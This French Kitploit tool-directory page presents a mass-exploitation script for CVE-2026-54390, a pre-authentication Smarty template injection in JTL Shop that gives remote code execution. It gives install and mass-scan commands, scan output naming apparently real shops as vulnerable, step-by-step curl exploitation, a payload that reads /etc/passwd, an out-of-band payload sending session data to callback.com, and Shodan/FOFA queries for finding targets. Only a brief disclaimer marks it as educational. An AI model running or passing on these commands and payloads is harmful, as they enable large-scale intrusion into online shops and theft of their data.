Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Injection de template pré-auth via fetch('string:' . ) | 5.2.0-5.7.1 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-54390
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Injection de template pré-auth via fetch('string:' . ) | 5.2.0-5.7.1

Voir le dépôt
4il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-54390 — Exploit de masse SSTI Smarty JTL Shop

Formulaire de contact sans authentification → Objet de l'e-mail → fetch('string:') → RCE


Aperçu

CVE-2026-54390 est une injection de modèles côté serveur (SSTI) critique (CVSS 9.8) sans authentification dans JTL Shop 5.2.0–5.7.1.

La méthode SmartyRenderer::renderTemplate() transmet les lignes d'objet d'e-mail à $smarty->fetch('string:' . $subject) — en les interprétant comme des modèles Smarty. Les champs du formulaire de contact de l'utilisateur atteignent l'objet de l'e-mail via la résolution #var# dans parseSubject(), puis sont réévalués par fetch().

Text::filterXSS() ne supprime que les balises HTML — { et } passent au travers. Les modificateurs Smarty enregistrés incluent file_get_contents et unserialize.

Versions affectées

JTL ShopStatut
< 5.2.0Non concerné
5.2.0 – 5.3.xVulnérable (vol d'identifiants)
5.4.0 – 5.7.1Vulnérable (RCE complète)
5.5.4 / 5.6.2 / 5.7.2+Corrigé

Mécanisme de la vulnérabilité

Cause racine

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Email subject rendered as Smarty template

Déroulement de l'attaque

root@kitploit:~
1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."

Modificateurs Smarty enregistrés

root@kitploit:~
// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Single target
python cve_2026_54390.py -t target.com

# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug

Arguments

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets
  --threads         Workers (default: 20)
  --exploit         Submit SSTI probe via contact form
  --debug           Show every HTTP request
  -v, --verbose     Detailed output

Preuve de concept

Détection

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

Scan de masse

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

Exploitation manuelle

Étape 1 — Trouver le formulaire de contact + le jeton

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

Étape 2 — Envoyer la sonde SSTI

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

Étape 3 — Lire des fichiers

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

Étape 4 — Exfiltration hors bande (OOB)

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.


Références


Non affilié à JTL-Software ou Sansec.

Télécharger l’outil
Ressource
Lien
Sansec Researchsansec.io/research/jtl-shop-ssti-rce
IONIX Advisoryionix.io/threat-center/cve-2026-54390
JTL Forumforum.jtl-software.de
NVDCVE-2026-54390